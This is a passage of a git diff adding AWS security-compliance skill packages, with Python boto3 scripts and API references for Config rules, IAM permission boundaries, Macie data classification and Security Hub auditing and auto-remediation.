flow logs | `VPC_FLOW_LOGS_ENABLED` | +| RDS encrypted | `RDS_STORAGE_ENCRYPTED` | +| EBS encrypted | `ENCRYPTED_VOLUMES` | +| CloudTrail on | `CLOUD_TRAIL_ENABLED` | + +## SSM Remediation Documents + +| Document | Purpose | +|----------|---------| +| `AWS-DisableS3BucketPublicReadWrite` | Block public S3 access | +| `AWS-EnableEBSEncryptionByDefault` | Enable EBS encryption | +| `AWS-DisablePublicAccessForSecurityGroup` | Remove 0.0.0.0/0 rules | + +## Conformance Packs +- CIS AWS Foundations Benchmark: `Operational-Best-Practices-for-CIS` +- PCI DSS: `Operational-Best-Practices-for-PCI-DSS` +- NIST 800-53: `Operational-Best-Practices-for-NIST-800-53-rev5` + +## External References +- AWS Config Rules List: https://docs.aws.amazon.com/config/latest/developerguide/managed-rules-by-aws-config.html +- Config Conformance Packs: https://docs.aws.amazon.com/config/latest/developerguide/conformance-packs.html +- Config Remediation: https://docs.aws.amazon.com/config/latest/developerguide/remediation.html diff --git a/skills/implementing-aws-config-rules-for-compliance/scripts/agent.py b/skills/implementing-aws-config-rules-for-compliance/scripts/agent.py new file mode 100644 index 00000000..1558250a --- /dev/null +++ b/skills/implementing-aws-config-rules-for-compliance/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""AWS Config compliance monitoring agent using boto3.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3") + sys.exit(1) + + +MANAGED_RULES = { + "s3-bucket-public-read-prohibited": "S3_BUCKET_PUBLIC_READ_PROHIBITED", + "s3-bucket-server-side-encryption-enabled": "S3_BUCKET_SERVER_SIDE_ENCRYPTION_ENABLED", + "s3-bucket-ssl-requests-only": "S3_BUCKET_SSL_REQUESTS_ONLY", + "iam-root-access-key-check": "IAM_ROOT_ACCESS_KEY_CHECK", + "mfa-enabled-for-iam-console-access": "MFA_ENABLED_FOR_IAM_CONSOLE_ACCESS", + "restricted-ssh": "INCOMING_SSH_DISABLED", + "vpc-flow-logs-enabled": "VPC_FLOW_LOGS_ENABLED", + "rds-storage-encrypted": "RDS_STORAGE_ENCRYPTED", + "encrypted-volumes": "ENCRYPTED_VOLUMES", + "cloudtrail-enabled": "CLOUD_TRAIL_ENABLED", + "iam-password-policy": "IAM_PASSWORD_POLICY", +} + + +def get_config_client(region="us-east-1"): + """Create AWS Config client.""" + return boto3.client("config", region_name=region) + + +def check_recorder_status(client): + """Verify AWS Config recorder is running.""" + try: + recorders = client.describe_configuration_recorder_status() + for r in recorders.get("ConfigurationRecordersStatus", []): + return {"name": r["name"], "recording": r["recording"], + "lastStatus": r.get("lastStatus", "Unknown")} + except ClientError as e: + return {"error": str(e)} + return {"error": "No recorder found"} + + +def deploy_managed_rules(client, rules=None): + """Deploy AWS-managed Config rules for CIS compliance.""" + if rules is None: + rules = MANAGED_RULES + deployed = [] + for rule_name, source_id in rules.items(): + try: + client.put_config_rule(ConfigRule={ + "ConfigRuleName": rule_name, + "Source": {"Owner": "AWS", "SourceIdentifier": source_id} + }) + deployed.append({"rule": rule_name, "status": "deployed"}) + except ClientError as e: + deployed.append({"rule": rule_name, "status": "error", "message": str(e)}) + return deployed + + +def get_compliance_summary(client): + """Get compliance summary across all Config rules.""" + try: + response = client.get_compliance_summary_by_config_rule() + summary = response.get("ComplianceSummary", {}) + compliant = summary.get("CompliantResourceCount", {}).get("CappedCount", 0) + non_compliant = summary.get("NonCompliantResourceCount", {}).get("CappedCount", 0) + return {"compliant": compliant, "non_compliant": non_compliant, + "total": compliant + non_compliant, + "compliance_pct": round(compliant / max(compliant + non_compliant, 1) * 100, 1)} + except ClientError as e: + return {"error": str(e)} + + +def get_non_compliant_resources(client, rule_name): + """List non-compliant resources for a specific rule.""" + try: + response = client.get_compliance_details_by_config_rule( + ConfigRuleName=rule_name, ComplianceTypes=["NON_COMPLIANT"], Limit=25) + resources = [] + for result in response.get("EvaluationResults", []): + qual = result.get("EvaluationResultIdentifier", {}).get("EvaluationResultQualifier", {}) + resources.append({ + "resource_type": qual.get("ResourceType"), + "resource_id": qual.get("ResourceId"), + "annotation": result.get("Annotation", ""), + "timestamp": str(result.get("ResultRecordedTime", "")) + }) + return resources + except ClientError as e: + return [{"error": str(e)}] + + +def configure_remediation(client, rule_name, ssm_document, params): + """Set up auto-remediation for a Config rule.""" + try: + client.put_remediation_configurations(RemediationConfigurations=[{ + "ConfigRuleName": rule_name, + "TargetType": "SSM_DOCUMENT", + "TargetId": ssm_document, + "Parameters": params, + "Automatic": True, + "MaximumAutomaticAttempts": 3, + "RetryAttemptSeconds": 60, + }]) + return {"rule": rule_name, "remediation": ssm_document, "status": "configured"} + except ClientError as e: + return {"rule": rule_name, "status": "error", "message": str(e)} + + +def run_compliance_audit(region="us-east-1"): + """Run a full compliance audit and generate report.""" + client = get_config_client(region) + + print(f"\n{'='*60}") + print(f" AWS CONFIG COMPLIANCE AUDIT") + print(f" Region: {region}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + recorder = check_recorder_status(client) + print(f"--- CONFIG RECORDER ---") + print(f" Status: {'RECORDING' if recorder.get('recording') else 'STOPPED'}") + print(f" Last Status: {recorder.get('lastStatus', 'N/A')}\n") + + summary = get_compliance_summary(client) + print(f"--- COMPLIANCE SUMMARY ---") + print(f" Compliant: {summary.get('compliant', 0)}") + print(f" Non-Compliant: {summary.get('non_compliant', 0)}") + print(f" Compliance: {summary.get('compliance_pct', 0)}%\n") + + print(f"--- NON-COMPLIANT DETAILS ---") + try: + rules_resp = client.describe_config_rules() + for rule in rules_resp.get("ConfigRules", []): + name = rule["ConfigRuleName"] + resources = get_non_compliant_resources(client, name) + if resources and not resources[0].get("error"): + print(f" Rule: {name} ({len(resources)} non-compliant)") + for r in resources[:3]: + print(f" - {r['resource_type']}: {r['resource_id']}") + except ClientError as e: + print(f" Error listing rules: {e}") + + print(f"\n{'='*60}\n") + return {"recorder": recorder, "summary": summary} + + +def main(): + parser = argparse.ArgumentParser(description="AWS Config Compliance Agent") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--deploy-rules", action="store_true", help="Deploy managed Config rules") + parser.add_argument("--audit", action="store_true", help="Run compliance audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.deploy_rules: + client = get_config_client(args.region) + results = deploy_managed_rules(client) + for r in results: + print(f" [{r['status']}] {r['rule']}") + elif args.audit: + report = run_compliance_audit(args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aws-iam-permission-boundaries/LICENSE b/skills/implementing-aws-iam-permission-boundaries/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aws-iam-permission-boundaries/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aws-iam-permission-boundaries/references/api-reference.md b/skills/implementing-aws-iam-permission-boundaries/references/api-reference.md new file mode 100644 index 00000000..dc9acd52 --- /dev/null +++ b/skills/implementing-aws-iam-permission-boundaries/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: AWS IAM Permission Boundary Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| boto3 | >=1.28 | AWS SDK for IAM permission boundary management | + +## CLI Usage + +```bash +python scripts/agent.py \ + --profile security-admin \ + --region us-east-1 \ + --audit \ + --output-dir /reports/ \ + --output iam_boundary_report.json +``` + +## Functions + +### `get_iam_client(profile, region)` +Creates boto3 IAM client with optional named profile. + +### `create_permission_boundary(client, policy_name, allowed_services, allowed_regions) -> dict` +Creates an IAM policy for use as a permission boundary. Includes a DenyBoundaryChanges statement to prevent boundary removal. Uses `client.create_policy()`. + +### `attach_boundary_to_role(client, role_name, boundary_arn) -> dict` +Calls `client.put_role_permissions_boundary()` to attach a boundary to a role. + +### `audit_roles_without_boundary(client) -> list` +Paginates `client.list_roles()` and identifies roles missing `PermissionsBoundary`. + +### `audit_boundary_effectiveness(client, role_name) -> dict` +Calls `client.get_role()`, `list_attached_role_policies()`, `list_role_policies()` to show effective policy stack. + +### `generate_report(client) -> dict` +Orchestrates audit and generates compliance report. + +## boto3 IAM Methods Used + +| Method | Purpose | +|--------|---------| +| `create_policy(PolicyName, PolicyDocument)` | Create boundary policy | +| `put_role_permissions_boundary(RoleName, PermissionsBoundary)` | Attach boundary | +| `list_roles()` | Enumerate all roles | +| `get_role(RoleName)` | Get role details including boundary | + +## Output Schema + +```json +{ + "roles_without_boundary_count": 12, + "roles_without_boundary": [{"role_name": "dev-role", "arn": "arn:aws:iam::..."}], + "recommendations": ["Attach permission boundaries to 12 roles"] +} +``` diff --git a/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py b/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py new file mode 100644 index 00000000..3ff5eb67 --- /dev/null +++ b/skills/implementing-aws-iam-permission-boundaries/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""AWS IAM permission boundary management agent using boto3.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + sys.exit("boto3 required: pip install boto3") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def get_iam_client(profile: str = "", region: str = "us-east-1"): + """Create IAM client with optional profile.""" + session = boto3.Session(profile_name=profile) if profile else boto3.Session() + return session.client("iam", region_name=region) + + +def create_permission_boundary(client, policy_name: str, allowed_services: List[str], + allowed_regions: List[str] = None) -> dict: + """Create a permission boundary policy restricting services and regions.""" + statements = [{ + "Sid": "AllowedServices", + "Effect": "Allow", + "Action": [f"{svc}:*" for svc in allowed_services], + "Resource": "*", + }] + if allowed_regions: + statements[0]["Condition"] = { + "StringEquals": {"aws:RequestedRegion": allowed_regions} + } + statements.append({ + "Sid": "DenyBoundaryChanges", + "Effect": "Deny", + "Action": ["iam:DeleteRolePermissionsBoundary", "iam:PutRolePermissionsBoundary"], + "Resource": "*", + }) + policy_doc = {"Version": "2012-10-17", "Statement": statements} + try: + resp = client.create_policy( + PolicyName=policy_name, + PolicyDocument=json.dumps(policy_doc), + Description=f"Permission boundary: {', '.join(allowed_services)}", + ) + arn = resp["Policy"]["Arn"] + logger.info("Created boundary policy: %s", arn) + return {"policy_arn": arn, "policy_document": policy_doc} + except ClientError as exc: + return {"error": str(exc)} + + +def attach_boundary_to_role(client, role_name: str, boundary_arn: str) -> dict: + """Attach permission boundary to an IAM role.""" + try: + client.put_role_permissions_boundary( + RoleName=role_name, PermissionsBoundary=boundary_arn) + logger.info("Attached boundary %s to role %s", boundary_arn, role_name) + return {"role": role_name, "boundary_arn": boundary_arn, "attached": True} + except ClientError as exc: + return {"role": role_name, "error": str(exc)} + + +def audit_roles_without_boundary(client) -> List[dict]: + """Find IAM roles that lack a permission boundary.""" + paginator = client.get_paginator("list_roles") + unbounded = [] + for page in paginator.paginate(): + for role in page["Roles"]: + if "PermissionsBoundary" not in role: + unbounded.append({ + "role_name": role["RoleName"], + "arn": role["Arn"], + "created": role["CreateDate"].isoformat(), + }) + logger.info("Found %d roles without permission boundary", len(unbounded)) + return unbounded + + +def audit_boundary_effectiveness(client, role_name: str) -> dict: + """Audit effective permissions for a role with boundary.""" + try: + role = client.get_role(RoleName=role_name)["Role"] + boundary = role.get("PermissionsBoundary", {}) + policies_resp = client.list_attached_role_policies(RoleName=role_name) + inline_resp = client.list_role_policies(RoleName=role_name) + return { + "role": role_name, + "boundary_arn": boundary.get("PermissionsBoundaryArn", "NONE"), + "attached_policies": [p["PolicyName"] for p in policies_resp["AttachedPolicies"]], + "inline_policies": inline_resp["PolicyNames"], + } + except ClientError as exc: + return {"role": role_name, "error": str(exc)} + + +def generate_report(client) -> dict: + """Generate permission boundary compliance report.""" + unbounded = audit_roles_without_boundary(client) + report = { + "analysis_date": datetime.utcnow().isoformat(), + "roles_without_boundary": unbounded, + "roles_without_boundary_count": len(unbounded), + "recommendations": [], + } + if unbounded: + report["recommendations"].append( + f"Attach permission boundaries to {len(unbounded)} roles lacking boundaries") + return report + + +def main(): + parser = argparse.ArgumentParser(description="AWS IAM Permission Boundary Agent") + parser.add_argument("--profile", default="", help="AWS CLI profile name") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--audit", action="store_true", help="Audit roles without boundaries") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="iam_boundary_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = get_iam_client(args.profile, args.region) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aws-macie-for-data-classification/LICENSE b/skills/implementing-aws-macie-for-data-classification/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aws-macie-for-data-classification/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aws-macie-for-data-classification/references/api-reference.md b/skills/implementing-aws-macie-for-data-classification/references/api-reference.md new file mode 100644 index 00000000..852a9215 --- /dev/null +++ b/skills/implementing-aws-macie-for-data-classification/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: AWS Macie Data Classification Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| boto3 | >=1.28 | AWS SDK for Macie2 sensitive data discovery | + +## CLI Usage + +```bash +python scripts/agent.py \ + --profile security-audit \ + --region us-east-1 \ + --output-dir /reports/ \ + --output macie_report.json +``` + +## Functions + +### `get_macie_client(profile, region)` +Creates boto3 Macie2 client with optional named profile. + +### `enable_macie(client) -> dict` +Calls `client.get_macie_session()` to check status, then `client.enable_macie()` if needed. + +### `list_s3_buckets_summary(client) -> list` +Calls `client.describe_buckets()` to get bucket inventory with encryption, public access, and classifiable object counts. + +### `create_classification_job(client, bucket_names, job_name) -> dict` +Calls `client.create_classification_job(jobType="ONE_TIME", s3JobDefinition={...})` for targeted sensitive data discovery. + +### `get_finding_statistics(client) -> dict` +Calls `client.get_finding_statistics(groupBy=...)` for severity and type breakdowns. + +### `list_findings(client, severity, max_results) -> list` +Calls `client.list_findings()` with severity criterion, then `client.get_findings(findingIds=[...])` for details. + +### `generate_report(client) -> dict` +Orchestrates all functions and compiles summary with public bucket identification. + +## boto3 Macie2 Methods Used + +| Method | Purpose | +|--------|---------| +| `enable_macie(status)` | Enable Macie service | +| `describe_buckets(criteria)` | S3 bucket inventory | +| `create_classification_job(...)` | Start discovery job | +| `get_finding_statistics(groupBy)` | Finding aggregations | +| `list_findings(findingCriteria)` | Filter findings | +| `get_findings(findingIds)` | Detailed finding data | + +## Output Schema + +```json +{ + "summary": {"total_buckets": 45, "public_buckets": 2, "high_findings": 12}, + "bucket_inventory": [{"name": "my-bucket", "public_access": "NOT_PUBLIC"}], + "high_findings": [{"type": "SensitiveData:S3Object/Personal", "bucket": "data-lake"}] +} +``` diff --git a/skills/implementing-aws-macie-for-data-classification/scripts/agent.py b/skills/implementing-aws-macie-for-data-classification/scripts/agent.py new file mode 100644 index 00000000..0f7cd0f7 --- /dev/null +++ b/skills/implementing-aws-macie-for-data-classification/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""AWS Macie data classification agent using boto3 for S3 sensitive data discovery.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + sys.exit("boto3 required: pip install boto3") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def get_macie_client(profile: str = "", region: str = "us-east-1"): + """Create Macie2 client.""" + session = boto3.Session(profile_name=profile) if profile else boto3.Session() + return session.client("macie2", region_name=region) + + +def enable_macie(client) -> dict: + """Enable Macie in the account if not already enabled.""" + try: + client.get_macie_session() + return {"status": "already_enabled"} + except ClientError: + try: + client.enable_macie(status="ENABLED") + return {"status": "enabled"} + except ClientError as exc: + return {"error": str(exc)} + + +def list_s3_buckets_summary(client) -> List[dict]: + """Get Macie's summary of S3 bucket inventory.""" + try: + resp = client.describe_buckets(criteria={}, maxResults=50) + buckets = [] + for b in resp.get("buckets", []): + buckets.append({ + "name": b.get("bucketName", ""), + "region": b.get("region", ""), + "classifiable_objects": b.get("classifiableObjectCount", 0), + "classifiable_size": b.get("classifiableSizeInBytes", 0), + "encryption": b.get("serverSideEncryption", {}).get("type", "NONE"), + "public_access": b.get("publicAccess", {}).get("effectivePermission", "NOT_PUBLIC"), + "shared_access": b.get("sharedAccess", "NOT_SHARED"), + }) + return buckets + except ClientError as exc: + logger.error("describe_buckets failed: %s", exc) + return [] + + +def create_classification_job(client, bucket_names: List[str], job_name: str) -> dict: + """Create a one-time sensitive data discovery job for specified buckets.""" + try: + resp = client.create_classification_job( + jobType="ONE_TIME", + name=job_name, + s3JobDefinition={ + "bucketDefinitions": [{ + "accountId": boto3.client("sts").get_caller_identity()["Account"], + "buckets": bucket_names, + }] + }, + description=f"Scan {len(bucket_names)} buckets for sensitive data", + ) + return {"job_id": resp["jobId"], "job_arn": resp["jobArn"]} + except ClientError as exc: + return {"error": str(exc)} + + +def get_finding_statistics(client) -> dict: + """Get statistics on Macie findings by severity and type.""" + try: + by_severity = client.get_finding_statistics( + groupBy="severity.description", + ) + by_type = client.get_finding_statistics( + groupBy="type", + ) + return { + "by_severity": by_severity.get("countsBySeverity", []), + "by_type": by_type.get("countsByGroup", []), + } + except ClientError as exc: + return {"error": str(exc)} + + +def list_findings(client, severity: str = "High", max_results: int = 50) -> List[dict]: + """List recent Macie findings filtered by severity.""" + try: + resp = client.list_findings( + findingCriteria={ + "criterion": { + "severity.description": {"eq": [severity]} + } + }, + maxResults=max_results, + ) + finding_ids = resp.get("findingIds", []) + if not finding_ids: + return [] + details = client.get_findings(findingIds=finding_ids[:20]) + return [{ + "id": f.get("id", ""), + "type": f.get("type", ""), + "severity": f.get("severity", {}).get("description", ""), + "title": f.get("title", ""), + "bucket": f.get("resourcesAffected", {}).get("s3Bucket", {}).get("name", ""), + "count": f.get("count", 0), + "created": f.get("createdAt", ""), + } for f in details.get("findings", [])] + except ClientError as exc: + return [{"error": str(exc)}] + + +def generate_report(client) -> dict: + """Generate Macie data classification report.""" + report = {"analysis_date": datetime.utcnow().isoformat()} + report["macie_status"] = enable_macie(client) + report["bucket_inventory"] = list_s3_buckets_summary(client) + report["finding_statistics"] = get_finding_statistics(client) + report["high_findings"] = list_findings(client, "High") + report["critical_findings"] = list_findings(client, "Critical") + public_buckets = [b for b in report["bucket_inventory"] + if b.get("public_access") != "NOT_PUBLIC"] + report["public_buckets"] = public_buckets + report["summary"] = { + "total_buckets": len(report["bucket_inventory"]), + "public_buckets": len(public_buckets), + "high_findings": len(report["high_findings"]), + "critical_findings": len(report["critical_findings"]), + } + return report + + +def main(): + parser = argparse.ArgumentParser(description="AWS Macie Data Classification Agent") + parser.add_argument("--profile", default="", help="AWS CLI profile") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="macie_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = get_macie_client(args.profile, args.region) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report["summary"], indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aws-security-hub-compliance/LICENSE b/skills/implementing-aws-security-hub-compliance/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aws-security-hub-compliance/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aws-security-hub-compliance/references/api-reference.md b/skills/implementing-aws-security-hub-compliance/references/api-reference.md new file mode 100644 index 00000000..11d46e22 --- /dev/null +++ b/skills/implementing-aws-security-hub-compliance/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing AWS Security Hub Compliance + +## Libraries + +### boto3 -- Security Hub + S3 Remediation +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/securityhub.html + +### Key Security Hub Methods + +| Method | Description | +|--------|-------------| +| `enable_security_hub()` | Enable Security Hub with standards | +| `batch_enable_standards()` | Enable CIS, FSBP, PCI DSS, NIST | +| `get_findings()` | Query findings with compliance filters | +| `batch_update_findings()` | Update workflow status and add notes | +| `create_insight()` | Custom compliance aggregation views | +| `create_finding_aggregator()` | Cross-region consolidation | +| `enable_organization_admin_account()` | Org-wide admin delegation | +| `update_organization_configuration()` | Auto-enable for new accounts | + +### Key S3 Remediation Methods + +| Method | Description | +|--------|-------------| +| `put_public_access_block()` | Block all public access on bucket | +| `get_bucket_encryption()` | Check encryption configuration | +| `put_bucket_encryption()` | Enable default SSE-S3 or SSE-KMS | + +## Finding Filters + +| Filter Field | Values | +|-------------|--------| +| `ComplianceStatus` | PASSED, FAILED, WARNING, NOT_AVAILABLE | +| `SeverityLabel` | CRITICAL, HIGH, MEDIUM, LOW, INFORMATIONAL | +| `WorkflowStatus` | NEW, NOTIFIED, RESOLVED, SUPPRESSED | +| `RecordState` | ACTIVE, ARCHIVED | +| `GeneratorId` | Standard-specific prefix for filtering | + +## Compliance Standards + +| Standard | Generator ID Prefix | +|----------|-------------------| +| AWS FSBP | `aws-foundational-security-best-practices` | +| CIS AWS | `cis-aws-foundations-benchmark` | +| PCI DSS | `pci-dss` | +| NIST 800-53 | `nist-800-53` | + +## EventBridge Auto-Remediation Pattern +- Source: `aws.securityhub` +- Detail type: `Security Hub Findings - Imported` +- Target: Lambda function for automated fix +- Best practice: Only auto-remediate safe controls (S3 public access, encryption) + +## External References +- Security Hub Compliance: https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards.html +- ASFF Reference: https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-findings-format.html +- Auto-Remediation Patterns: https://aws.amazon.com/blogs/security/automated-response-and-remediation-with-aws-security-hub/ diff --git a/skills/implementing-aws-security-hub-compliance/scripts/agent.py b/skills/implementing-aws-security-hub-compliance/scripts/agent.py new file mode 100644 index 00000000..6dd1ad04 --- /dev/null +++ b/skills/implementing-aws-security-hub-compliance/scripts/agent.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +"""AWS Security Hub compliance monitoring agent with automated remediation.""" + +import json +import sys +import argparse +from datetime import datetime +from collections import Counter + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3") + sys.exit(1) + + +def get_clients(region="us-east-1"): + """Create Security Hub and S3 clients.""" + return (boto3.client("securityhub", region_name=region), + boto3.client("s3", region_name=region)) + + +def get_compliance_findings(hub_client, standard_filter=None, max_results=100): + """Get failed compliance findings, optionally filtered by standard.""" + filters = { + "ComplianceStatus": [{"Value": "FAILED", "Comparison": "EQUALS"}], + "RecordState": [{"Value": "ACTIVE", "Comparison": "EQUALS"}], + "WorkflowStatus": [{"Value": "NEW", "Comparison": "EQUALS"}], + } + if standard_filter: + filters["GeneratorId"] = [{"Value": standard_filter, "Comparison": "PREFIX"}] + try: + resp = hub_client.get_findings( + Filters=filters, + SortCriteria=[{"Field": "SeverityNormalized", "SortOrder": "desc"}], + MaxResults=max_results) + return resp.get("Findings", []) + except ClientError as e: + print(f"[!] Error getting findings: {e}") + return [] + + +def analyze_compliance_gaps(findings): + """Analyze findings to identify compliance gaps by control and account.""" + by_control = Counter() + by_severity = Counter() + by_account = Counter() + control_details = {} + for f in findings: + title = f.get("Title", "Unknown") + severity = f["Severity"]["Label"] + account = f.get("AwsAccountId", "Unknown") + by_control[title] += 1 + by_severity[severity] += 1 + by_account[account] += 1 + if title not in control_details: + control_details[title] = { + "severity": severity, + "generator": f.get("GeneratorId", ""), + "accounts": set(), + "resource_types": set(), + } + control_details[title]["accounts"].add(account) + for r in f.get("Resources", []): + control_details[title]["resource_types"].add(r.get("Type", "")) + for k in control_details: + control_details[k]["accounts"] = list(control_details[k]["accounts"]) + control_details[k]["resource_types"] = list(control_details[k]["resource_types"]) + return {"by_control": dict(by_control.most_common(20)), + "by_severity": dict(by_severity), "by_account": dict(by_account.most_common(10)), + "control_details": control_details} + + +def remediate_s3_public_access(s3_client, bucket_name): + """Block public access on an S3 bucket.""" + try: + s3_client.put_public_access_block( + Bucket=bucket_name, + PublicAccessBlockConfiguration={ + "BlockPublicAcls": True, "IgnorePublicAcls": True, + "BlockPublicPolicy": True, "RestrictPublicBuckets": True}) + return {"bucket": bucket_name, "status": "remediated"} + except ClientError as e: + return {"bucket": bucket_name, "status": "error", "message": str(e)} + + +def auto_remediate_findings(hub_client, s3_client, findings): + """Auto-remediate safe-to-fix findings (S3 public access).""" + remediated = [] + for f in findings: + title = f.get("Title", "").lower() + if "s3" in title and "public" in title: + for r in f.get("Resources", []): + if r["Type"] == "AwsS3Bucket": + bucket = r["Id"].split(":::")[-1] + result = remediate_s3_public_access(s3_client, bucket) + if result["status"] == "remediated": + hub_client.batch_update_findings( + FindingIdentifiers=[{"Id": f["Id"], "ProductArn": f["ProductArn"]}], + Workflow={"Status": "RESOLVED"}, + Note={"Text": "Auto-remediated: public access blocked", + "UpdatedBy": "compliance-agent"}) + remediated.append(result) + return remediated + + +def create_compliance_insight(hub_client, name, group_by_attr, severity_filter=None): + """Create a custom Security Hub insight for compliance tracking.""" + filters = {"ComplianceStatus": [{"Value": "FAILED", "Comparison": "EQUALS"}]} + if severity_filter: + filters["SeverityLabel"] = [{"Value": s, "Comparison": "EQUALS"} for s in severity_filter] + try: + resp = hub_client.create_insight(Name=name, Filters=filters, GroupByAttribute=group_by_attr) + return {"insight_arn": resp["InsightArn"]} + except ClientError as e: + return {"error": str(e)} + + +def run_compliance_report(region="us-east-1"): + """Generate full compliance report.""" + hub_client, s3_client = get_clients(region) + + print(f"\n{'='*60}") + print(f" AWS SECURITY HUB COMPLIANCE REPORT") + print(f" Region: {region}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + findings = get_compliance_findings(hub_client) + analysis = analyze_compliance_gaps(findings) + + print(f"--- FINDINGS 